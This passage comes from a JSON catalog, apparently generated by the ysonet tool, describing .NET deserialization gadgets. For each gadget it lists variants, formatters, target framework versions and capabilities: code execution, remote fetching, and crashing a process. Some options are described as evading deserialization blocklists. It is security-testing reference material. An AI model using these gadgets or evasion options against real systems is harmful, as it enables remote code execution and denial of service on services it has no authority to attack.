"references": [{"kind": "source-symbol", "reference": "ysonet.Generators.WbemClassObjectUnmarshalGenerator", "members": ["Facets", "Variants", "SupportedFormatters", "Options"]}, {"kind": "documentation", "reference": "docs/ARCHITECTURE.md"}, {"kind": "test-policy", "reference": "docs/building-and-testing.md"}]}}, {"name": "WindowsClaimsIdentity", "description": "Requires Microsoft.IdentityModel.Claims namespace (not default GAC)", "labels": ["A bridged gadget", "Not in GAC"], "credit": "[Finders: Soroush Dalili]", "finders": "Soroush Dalili", "contributors": "", "commandInput": "ShellCommand", "supportsLegacyFx": true, "bridgedFormatter": "BinaryFormatter", "formatters": [{"name": "BinaryFormatter", "declaration": "BinaryFormatter (4)"}, {"name": "Json.NET", "declaration": "Json.NET (3)"}, {"name": "DataContractSerializer", "declaration": "DataContractSerializer (3)"}, {"name": "NetDataContractSerializer", "declaration": "NetDataContractSerializer (4)"}, {"name": "SoapFormatter", "declaration": "SoapFormatter (3)"}, {"name": "LosFormatter", "declaration": "LosFormatter (4)"}], "options": [{"prototype": "var|variant=", "aliases": ["var", "variant"], "description": "Which member carries the inner BinaryFormatter payload. 1, 2 and 3 are the ClaimsIdentity keys, named the same way and numbered the same way as on the WindowsIdentity gadget: they all start with 'System.Security.ClaimsIdentity.' and end with 1 = actor (default), 2 = bootstrapContext, 3 = claims. 4 is different: it is the WIF type's OWN _actor member, a separate sink inside the WIF assembly rather than in mscorlib, and it exists only on BinaryFormatter, LosFormatter and NDCS. NOTE: what 1-3 build CHANGED when the numbering was unified - it used to depend on the formatter. An unknown number falls back to 1.\nDefault value: \"1\".\nSuggested values: 1, 2, 3, 4.", "valueArity": "required", "metadataDeclared": true, "defaultValue": "1", "required": false, "prefillDefault": true, "allowCustom": true, "valueSource": "none", "choices": ["1", "2", "3", "4"]}], "variants": [{"number": 1, "label": "actor member (default)", "isDefault": true, "commandInput": "ShellCommand", "unsupportedFormatters": [], "unusedOptions": [], "refusesSelfTest": false}, {"number": 2, "label": "bootstrapContext member", "isDefault": false, "commandInput": "ShellCommand", "unsupportedFormatters": [], "unusedOptions": [], "refusesSelfTest": false}, {"number": 3, "label": "claims member", "isDefault": false, "commandInput": "ShellCommand", "unsupportedFormatters": [], "unusedOptions": [], "refusesSelfTest": false}, {"number": 4, "label": "WIF _actor member (its own sink; BF/Los/NDCS only)", "isDefault": false, "commandInput": "ShellCommand", "unsupportedFormatters": ["Json.NET", "DataContractSerializer", "SoapFormatter"], "unusedOptions": [], "refusesSelfTest": false}], "targetCapabilities": [{"variant": 1, "kinds": ["nested-deserialization"], "formatters": ["BinaryFormatter", "Json.NET", "DataContractSerializer", "NetDataContractSerializer", "SoapFormatter", "LosFormatter"], "inputs": ["command"], "requirements": ["extra-assembly", "net-framework"], "runtimeVersions": ["net-fx-4.5", "net-fx-4.5.1", "net-fx-4.5.2", "net-fx-4.6", "net-fx-4.6.1", "net-fx-4.6.2", "net-fx-4.7", "net-fx-4.7.1", "net-fx-4.7.2", "net-fx-4.8", "net-fx-4.8.1"]}, {"variant": 2, "kinds": ["nested-deserialization"], "formatters": ["BinaryFormatter", "Json.NET", "DataContractSerializer", "NetDataContractSerializer", "SoapFormatter", "LosFormatter"], "inputs": ["command"], "requirements": ["extra-assembly", "net-framework"], "runtimeVersions": ["net-fx-4.5", "net-fx-4.5.1", "net-fx-4.5.2", "net-fx-4.6", "net-fx-4.6.1", "net-fx-4.6.2", "net-fx-4.7", "net-fx-4.7.1", "net-fx-4.7.2", "net-fx-4.8", "net-fx-4.8.1"]}, {"variant": 3, "kinds": ["nested-deserialization"], "formatters": ["BinaryFormatter", "Json.NET", "DataContractSerializer", "NetDataContractSerializer", "SoapFormatter", "LosFormatter"], "inputs": ["command"], "requirements": ["extra-assembly", "net-framework"], "runtimeVersions": ["net-fx-4.5", "net-fx-4.5.1", "net-fx-4.5.2", "net-fx-4.6", "net-fx-4.6.1", "net-fx-4.6.2", "net-fx-4.7", "net-fx-4.7.1", "net-fx-4.7.2", "net-fx-4.8", "net-fx-4.8.1"]}, {"variant": 4, "kinds": ["nested-deserialization"], "formatters": ["BinaryFormatter", "NetDataContractSerializer", "LosFormatter"], "inputs": ["command"], "requirements": ["extra-assembly", "net-framework"], "runtimeVersions": ["net-fx-4.5", "net-fx-4.5.1", "net-fx-4.5.2", "net-fx-4.6", "net-fx-4.6.1", "net-fx-4.6.2", "net-fx-4.7", "net-fx-4.7.1", "net-fx-4.7.2", "net-fx-4.8", "net-fx-4.8.1"]}], "evidence": {"status": "declaration-only", "measuredInThisInvocation": false, "references": [{"kind": "source-symbol", "reference": "ysonet.Generators.WindowsClaimsIdentityGenerator", "members": ["Facets", "Variants", "SupportedFormatters", "Options"]}, {"kind": "documentation", "reference": "docs/ARCHITECTURE.md"}, {"kind": "test-policy", "reference": "docs/building-and-testing.md"}]}}, {"name": "WindowsIdentity", "description": "The variant picks which ClaimsIdentity key carries the inner BinaryFormatter payload.", "labels": ["A bridged gadget"], "credit": "[Finders: Levi Broderick] [Contributors: Alvaro Munoz, Soroush Dalili]", "finders": "Levi Broderick", "contributors": "Alvaro Munoz, Soroush Dalili", "commandInput": "ShellCommand", "supportsLegacyFx": true, "bridgedFormatter": "BinaryFormatter", "formatters": [{"name": "BinaryFormatter", "declaration": "BinaryFormatter (3)"}, {"name": "Json.NET", "declaration": "Json.NET (3)"}, {"name": "DataContractSerializer", "declaration": "DataContractSerializer (3)"}, {"name": "NetDataContractSerializer", "declaration": "NetDataContractSerializer (3)"}, {"name": "SoapFormatter", "declaration": "SoapFormatter (3)"}, {"name": "LosFormatter", "declaration": "LosFormatter (3)"}], "options": [{"prototype": "var|variant=", "aliases": ["var", "variant"], "description": "Which SerializationInfo key carries the inner BinaryFormatter payload. All three names start with 'System.Security.ClaimsIdentity.' and end with: 1 = actor (default, the shortest), 2 = bootstrapContext, 3 = claims. All three reach the same unbindered BinaryFormatter in ClaimsIdentity.Deserialize and have the same effect; they differ only in the member NAME on the wire. An unknown number falls back to 1.\nDefault value: \"1\".\nSuggested values: 1, 2, 3.", "valueArity": "required", "metadataDeclared": true, "defaultValue": "1", "required": false, "prefillDefault": true, "allowCustom": true, "valueSource": "none", "choices": ["1", "2", "3"]}], "variants": [{"number": 1, "label": "actor member (default)", "isDefault": true, "commandInput": "ShellCommand", "unsupportedFormatters": [], "unusedOptions": [], "refusesSelfTest": false}, {"number": 2, "label": "bootstrapContext member", "isDefault": false, "commandInput": "ShellCommand", "unsupportedFormatters": [], "unusedOptions": [], "refusesSelfTest": false}, {"number": 3, "label": "claims member", "isDefault": false, "commandInput": "ShellCommand", "unsupportedFormatters": [], "unusedOptions": [], "refusesSelfTest": false}], "targetCapabilities": [{"variant": 1, "kinds": ["nested-deserialization"], "formatters": ["BinaryFormatter", "Json.NET", "DataContractSerializer", "NetDataContractSerializer", "SoapFormatter", "LosFormatter"], "inputs": ["command"], "requirements": ["built-in", "net-framework"], "runtimeVersions": ["net-fx-4.5", "net-fx-4.5.1", "net-fx-4.5.2", "net-fx-4.6", "net-fx-4.6.1", "net-fx-4.6.2", "net-fx-4.7", "net-fx-4.7.1", "net-fx-4.7.2", "net-fx-4.8", "net-fx-4.8.1"]}, {"variant": 2, "kinds": ["nested-deserialization"], "formatters": ["BinaryFormatter", "Json.NET", "DataContractSerializer", "NetDataContractSerializer", "SoapFormatter", "LosFormatter"], "inputs": ["command"], "requirements": ["built-in", "net-framework"], "runtimeVersions": ["net-fx-4.5", "net-fx-4.5.1", "net-fx-4.5.2", "net-fx-4.6", "net-fx-4.6.1", "net-fx-4.6.2", "net-fx-4.7", "net-fx-4.7.1", "net-fx-4.7.2", "net-fx-4.8", "net-fx-4.8.1"]}, {"variant": 3, "kinds": ["nested-deserialization"], "formatters": ["BinaryFormatter", "Json.NET", "DataContractSerializer", "NetDataContractSerializer", "SoapFormatter", "LosFormatter"], "inputs": ["command"], "requirements": ["built-in", "net-framework"], "runtimeVersions": ["net-fx-4.5", "net-fx-4.5.1", "net-fx-4.5.2", "net-fx-4.6", "net-fx-4.6.1", "net-fx-4.6.2", "net-fx-4.7", "net-fx-4.7.1", "net-fx-4.7.2", "net-fx-4.8", "net-fx-4.8.1"]}], "evidence": {"status": "declaration-only", "measuredInThisInvocation": false, "references": [{"kind": "source-symbol", "reference": "ysonet.Generators.WindowsIdentityGenerator", "members": ["Facets", "Variants", "SupportedFormatters", "Options"]}, {"kind": "documentation", "reference": "docs/ARCHITECTURE.md"}, {"kind": "test-policy", "reference": "docs/building-and-testing.md"}]}}, {"name": "WindowsPrincipal", "description": "", "labels": ["A bridged gadget"], "credit": "[Finders: Steven Seeley of Qihoo 360 Vulcan Team] [Contributors: Chris Anastasio]", "finders": "Steven Seeley of Qihoo 360 Vulcan Team", "contributors": "Chris Anastasio", "commandInput": "ShellCommand", "supportsLegacyFx": true, "bridgedFormatter": "BinaryFormatter", "formatters": [{"name": "BinaryFormatter", "declaration": "BinaryFormatter"}, {"name": "Json.NET", "declaration": "Json.NET"}, {"name": "DataContractSerializer", "declaration": "DataContractSerializer"}, {"name": "DataContractJsonSerializer", "declaration": "DataContractJsonSerializer"}, {"name": "NetDataContractSerializer", "declaration": "NetDataContractSerializer"}, {"name": "SoapFormatter", "declaration": "SoapFormatter"}, {"name": "LosFormatter", "declaration": "LosFormatter"}], "options": [], "variants": [], "targetCapabilities": [{"variant": null, "kinds": ["nested-deserialization"], "formatters": ["BinaryFormatter", "Json.NET", "DataContractSerializer", "DataContractJsonSerializer", "NetDataContractSerializer", "SoapFormatter", "LosFormatter"], "inputs": ["command"], "requirements": ["built-in", "net-framework"], "runtimeVersions": ["net-fx-4.5", "net-fx-4.5.1", "net-fx-4.5.2", "net-fx-4.6", "net-fx-4.6.1", "net-fx-4.6.2", "net-fx-4.7", "net-fx-4.7.1", "net-fx-4.7.2", "net-fx-4.8", "net-fx-4.8.1"]}], "evidence": {"status": "declaration-only", "measuredInThisInvocation": false, "references": [{"kind": "source-symbol", "reference": "ysonet.Generators.WindowsPrincipalGenerator", "members": ["Facets", "Variants", "SupportedFormatters", "Options"]}, {"kind": "documentation", "reference": "docs/ARCHITECTURE.md"}, {"kind": "test-policy", "reference": "docs/building-and-testing.md"}]}}, {"name": "WorkflowDesigner", "description": "PropertyInspectorFontAndColorData is a write-only string whose setter runs XamlReader.Load on it (XmlResolver is null, so no XXE). The target needs System.Activities.Presentation and an STA thread.", "labels": ["A bridged gadget"], "credit": "[Finders: Oleksandr Mirosh, Alvaro Munoz] [Contributors: Alvaro Munoz, Soroush Dalili, Dane Evans]", "finders": "Oleksandr Mirosh, Alvaro Munoz", "contributors": "Alvaro Munoz, Soroush Dalili, Dane Evans", "commandInput": "ShellCommand", "supportsLegacyFx": true, "bridgedFormatter": "Xaml", "formatters": [{"name": "Json.NET", "declaration": "Json.NET"}, {"name": "Xaml", "declaration": "Xaml"}, {"name": "FastJson", "declaration": "FastJson"}, {"name": "JavaScriptSerializer", "declaration": "JavaScriptSerializer"}, {"name": "SharpSerializerXml", "declaration": "SharpSerializerXml"}, {"name": "SharpSerializerBinary", "declaration": "SharpSerializerBinary"}, {"name": "MessagePackTypeless", "declaration": "MessagePackTypeless"}, {"name": "MessagePackTypelessLz4", "declaration": "MessagePackTypelessLz4"}], "options": [], "variants": [], "targetCapabilities": [{"variant": null, "kinds": ["nested-deserialization", "code-execution"], "formatters": ["Json.NET", "Xaml", "FastJson", "JavaScriptSerializer", "SharpSerializerXml", "SharpSerializerBinary", "MessagePackTypeless", "MessagePackTypelessLz4"], "inputs": ["command"], "requirements": ["built-in", "wpf", "net-framework"], "runtimeVersions": ["net-fx-4.0", "net-fx-4.5", "net-fx-4.5.1", "net-fx-4.5.2", "net-fx-4.6", "net-fx-4.6.1", "net-fx-4.6.2", "net-fx-4.7", "net-fx-4.7.1", "net-fx-4.7.2", "net-fx-4.8", "net-fx-4.8.1"]}], "evidence": {"status": "declaration-only", "measuredInThisInvocation": false, "references": [{"kind": "source-symbol", "reference": "ysonet.Generators.WorkflowDesignerGenerator", "members": ["Facets", "Variants", "SupportedFormatters", "Options"]}, {"kind": "documentation", "reference": "docs/ARCHITECTURE.md"}, {"kind": "test-policy", "reference": "docs/building-and-testing.md"}]}}, {"name": "WSManPluginInstance", "description": "Builds a Windows PowerShell type whose finalizer terminates the target process. The effect is asynchronous and needs System.Management.Automation.", "labels": ["An independent gadget"], "credit": "[Finders: Oleksandr Mirosh, Alvaro Munoz] [Contributors: Soroush Dalili]", "finders": "Oleksandr Mirosh, Alvaro Munoz", "contributors": "Soroush Dalili", "commandInput": "Ignored", "supportsLegacyFx": true, "bridgedFormatter": null, "formatters": [{"name": "BinaryFormatter", "declaration": "BinaryFormatter"}, {"name": "SoapFormatter", "declaration": "SoapFormatter"}, {"name": "LosFormatter", "declaration": "LosFormatter"}, {"name": "Json.NET", "declaration": "Json.NET"}, {"name": "Xaml", "declaration": "Xaml"}, {"name": "FastJson", "declaration": "FastJson"}, {"name": "JavaScriptSerializer", "declaration": "JavaScriptSerializer"}, {"name": "YamlDotNet", "declaration": "YamlDotNet < 5.0.0"}, {"name": "SharpSerializerXml", "declaration": "SharpSerializerXml"}, {"name": "SharpSerializerBinary", "declaration": "SharpSerializerBinary"}, {"name": "MessagePackTypeless", "declaration": "MessagePackTypeless"}, {"name": "MessagePackTypelessLz4", "declaration": "MessagePackTypelessLz4"}, {"name": "DataContractSerializer", "declaration": "DataContractSerializer"}, {"name": "DataContractJsonSerializer", "declaration": "DataContractJsonSerializer"}, {"name": "NetDataContractSerializer", "declaration": "NetDataContractSerializer"}, {"name": "XmlSerializer", "declaration": "XmlSerializer"}], "options": [{"prototype": "assembly=", "aliases": ["assembly"], "description": "The assembly display name written into the payload.\r\nDefault: \"System.Management.Automation, Version=3.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35\"\r\nwhich is Windows PowerShell's GAC identity. The 3.0.0.0 assembly version has been Windows PowerShell's since PowerShell 3.0 and is still what Windows PowerShell 5.1 ships (verified there), so the default is what you want against a normal Windows target.\r\n\r\nThe value is written EXACTLY as typed and only an empty one is refused. Whether a name binds is the target's decision, not this tool's, so a repackaged, renamed, side-by-side or differently versioned copy is yours to point at. The TYPE name never changes: System.Management.Automation.Remoting.WSManPluginManagedEntryInstanceWrapper.\r\n\r\nPowerShell 7 ships System.Management.Automation under a different identity on a different runtime. Nothing here has been reproduced against it, so there is no preset for it and no claim about it.\r\n\r\nWHAT THE PAYLOAD DOES. The target builds the type; its finalizer frees a GCHandle that was never allocated, which throws on the finalizer thread, and an exception there terminates the process. The effect is ASYNCHRONOUS - it waits for a collection - so do not expect it at the moment of deserialization.\nDefault value: \"System.Management.Automation, Version=3.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35\".", "valueArity": "required", "metadataDeclared": true, "defaultValue": "System.Management.Automation, Version=3.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35", "required": false, "prefillDefault": true, "allowCustom": true, "valueSource": "none", "choices": []}], "variants": [], "targetCapabilities": [{"variant": null, "kinds": ["denial-of-service"], "formatters": ["BinaryFormatter", "SoapFormatter", "LosFormatter", "Json.NET", "Xaml", "FastJson", "JavaScriptSerializer", "YamlDotNet", "SharpSerializerXml", "SharpSerializerBinary", "MessagePackTypeless", "MessagePackTypelessLz4", "DataContractSerializer", "DataContractJsonSerializer", "NetDataContractSerializer", "XmlSerializer"], "inputs": ["none"], "requirements": ["extra-assembly", "net-framework"], "runtimeVersions": ["unspecified"]}], "evidence": {"status": "declaration-only", "measuredInThisInvocation": false, "references": [{"kind": "source-symbol", "reference": "ysonet.Generators.WSManPluginInstanceGenerator", "members": ["Facets", "Variants", "SupportedFormatters", "Options"]}, {"kind": "documentation", "reference": "docs/ARCHITECTURE.md"}, {"kind": "test-policy", "reference": "docs/building-and-testing.md"}]}}, {"name": "XamlAssemblyLoadFromFile", "description": "Loads assembly using XAML. This gadget interprets the command parameter as the path to the .cs file that should be compiled as an exploit class. Use a semicolon to separate the file from any additional required assemblies, e.g., '-c ExploitClass.cs;System.dll'. Variant 1 also takes rootcontainer (1 SortedSet, 2 SortedDictionary, 3 TreeSet) to dodge a SortedSet wire-name blocklist; SoapFormatter supports roots 1 and 3. It self-tests in a child process.", "labels": ["A payload with no new sink, carried by another gadget"], "credit": "[Finders: Soroush Dalili] [Contributors: russtone]", "finders": "Soroush Dalili", "contributors": "russtone", "commandInput": "CsSourceFile", "supportsLegacyFx": true, "bridgedFormatter": null, "formatters": [{"name": "BinaryFormatter", "declaration": "BinaryFormatter (2)"}, {"name": "SoapFormatter", "declaration": "SoapFormatter (2)"}, {"name": "NetDataContractSerializer", "declaration": "NetDataContractSerializer (2)"}, {"name": "LosFormatter", "declaration": "LosFormatter (2)"}], "options": [{"prototype": "var|variant=", "aliases": ["var", "variant"], "description": "Choices: 1 -> use TypeConfuseDelegateGenerator [default], 2 -> use TextFormattingRunPropertiesMarshal\nDefault value: \"1\".\nSuggested values: 1, 2.", "valueArity": "required", "metadataDeclared": true, "defaultValue": "1", "required": false, "prefillDefault": true, "allowCustom": true, "valueSource": "none", "choices": ["1", "2"]}, {"prototype": "rootcontainer=", "aliases": ["rootcontainer"], "description": "Serialized root container of the TypeConfuseDelegate wrapper: 1 -> SortedSet [default], 2 -> SortedDictionary, 3 -> TreeSet. 2 and 3 evade a binder or blocklist that rejects the exact SortedSet wire type name. SoapFormatter supports 1 and 3, not 2. Not used by the TextFormattingRunProperties wrapper (variant 2), which has no container. The (2) formatter annotation counts wrapper variants, not root-container choices.\nDefault value: \"1\".\nSuggested values: 1, 2, 3.", "valueArity": "required", "metadataDeclared": true, "defaultValue": "1", "required": false, "prefillDefault": false, "allowCustom": true, "valueSource": "none", "choices": ["1", "2", "3"]}], "variants": [{"number": 1, "label": "TypeConfuseDelegate wrapper (default)", "isDefault": true, "commandInput": "CsSourceFile", "unsupportedFormatters": [], "unusedOptions": [], "refusesSelfTest": false}, {"number": 2, "label": "TextFormattingRunProperties wrapper", "isDefault": false, "commandInput": "CsSourceFile", "unsupportedFormatters": [], "unusedOptions": ["rootcontainer"], "refusesSelfTest": false}], "targetCapabilities": [{"variant": 1, "kinds": ["code-execution"], "formatters": ["BinaryFormatter", "SoapFormatter", "NetDataContractSerializer", "LosFormatter"], "inputs": ["source-code-file"], "requirements": ["built-in", "wpf", "net-framework"], "runtimeVersions": ["net-fx-4.5", "net-fx-4.5.1", "net-fx-4.5.2", "net-fx-4.6", "net-fx-4.6.1", "net-fx-4.6.2", "net-fx-4.7", "net-fx-4.7.1", "net-fx-4.7.2", "net-fx-4.8", "net-fx-4.8.1"]}, {"variant": 2, "kinds": ["code-execution"], "formatters": ["BinaryFormatter", "SoapFormatter", "NetDataContractSerializer", "LosFormatter"], "inputs": ["source-code-file"], "requirements": ["extra-assembly", "wpf", "net-framework"], "runtimeVersions": ["net-fx-4.0", "net-fx-4.5", "net-fx-4.5.1", "net-fx-4.5.2", "net-fx-4.6", "net-fx-4.6.1", "net-fx-4.6.2", "net-fx-4.7", "net-fx-4.7.1", "net-fx-4.7.2", "net-fx-4.8", "net-fx-4.8.1"]}], "evidence": {"status": "declaration-only", "measuredInThisInvocation": false, "references": [{"kind": "source-symbol", "reference": "ysonet.Generators.XamlAssemblyLoadFromFileGenerator", "members": ["Facets", "Variants", "SupportedFormatters", "Options"]}, {"kind": "documentation", "reference": "docs/ARCHITECTURE.md"}, {"kind": "test-policy", "reference": "docs/building-and-testing.md"}]}}, {"name": "XamlImageInfo", "description": "Gadget leads to XAML deserialization. Variant 1 (GAC) reads XAML from file (local path or UNC path can be given). Variant 2 (non-GAC) delivers XAML directly, but requires Microsoft.Web.Deployment.dll", "labels": ["Variant 1 in GAC, Variant 2 not in GAC"], "credit": "[Finders: Piotr Bazydlo]", "finders": "Piotr Bazydlo", "contributors": "", "commandInput": "FilePath", "supportsLegacyFx": true, "bridgedFormatter": null, "formatters": [{"name": "Json.NET", "declaration": "Json.NET (2)"}], "options": [{"prototype": "var|variant=", "aliases": ["var", "variant"], "description": "Variant number. Variant defines a different Stream delivery class. Choices: \r\n1 (default and GAC) - LazyFileStream for Stream delivery, file path has to be provided for -c argument (UNC or local) \r\n2 (non-GAC, requires Microsoft.Web.Deployment.dll) - ReadOnlyStreamFromStrings for Stream delivery, command to execute can be provided for -c argument\nDefault value: \"1\".\nSuggested values: 1, 2.", "valueArity": "required", "metadataDeclared": true, "defaultValue": "1", "required": false, "prefillDefault": true, "allowCustom": true, "valueSource": "none", "choices": ["1", "2"]}], "variants": [{"number": 1, "label": "LazyFileStream - reads XAML from a file path (default, GAC)", "isDefault": true, "commandInput": "FilePath", "unsupportedFormatters": [], "unusedOptions": [], "refusesSelfTest": false}, {"number": 2, "label": "ReadOnlyStreamFromStrings - takes a shell command (non-GAC)", "isDefault": false, "commandInput": "ShellCommand", "unsupportedFormatters": [], "unusedOptions": [], "refusesSelfTest": false}], "targetCapabilities": [{"variant": 1, "kinds": ["nested-deserialization"], "formatters": ["Json.NET"], "inputs": ["local-file", "unc-path"], "requirements": ["built-in", "wpf", "net-framework"], "runtimeVersions": ["unspecified"]}, {"variant": 2, "kinds": ["code-execution", "nested-deserialization"], "formatters": ["Json.NET"], "inputs": ["command"], "requirements": ["extra-assembly", "wpf", "net-framework"], "runtimeVersions": ["unspecified"]}], "evidence": {"status": "declaration-only", "measuredInThisInvocation": false, "references": [{"kind": "source-symbol", "reference": "ysonet.Generators.XamlImageInfoGenerator", "members": ["Facets", "Variants", "SupportedFormatters", "Options"]}, {"kind": "documentation", "reference": "docs/ARCHITECTURE.md"}, {"kind": "test-policy", "reference": "docs/building-and-testing.md"}]}}, {"name": "XamlTypeConverterFetch", "description": "One ordinary XAML attribute makes the target fetch -c through a [TypeConverter]. No ObjectDataProvider and no constructor. Remote image loading is documented WPF behaviour, so this is a shape, not a new bug.", "labels": ["An independent gadget"], "credit": "[Finders: Soroush Dalili]", "finders": "Soroush Dalili", "contributors": "", "commandInput": "Url", "supportsLegacyFx": true, "bridgedFormatter": null, "formatters": [{"name": "Xaml", "declaration": "Xaml (2)"}, {"name": "Json.NET", "declaration": "Json.NET (2)"}, {"name": "JavaScriptSerializer", "declaration": "JavaScriptSerializer (2)"}, {"name": "YamlDotNet", "declaration": "YamlDotNet < 5.0.0 (2)"}], "options": [{"prototype": "var|variant=", "aliases": ["var", "variant"], "description": "Which type converter the attribute selects.\r\nChoices: 1, 2. Default: \"1\".\r\n\r\n1 (default) - ImageSourceConverter, through . Any non-empty value is fetched: no suffix rule and no scheme rule. Every ImageSource-typed member reaches the same converter, so the carrier can be swapped for whatever your target already accepts (Image Source, ImageBrush ImageSource, Window Icon, and so on). ImageDrawing is used because it is a Freezable with no type converter of its own, so it works whatever thread the target deserializes on.\r\n2 - CursorConverter, through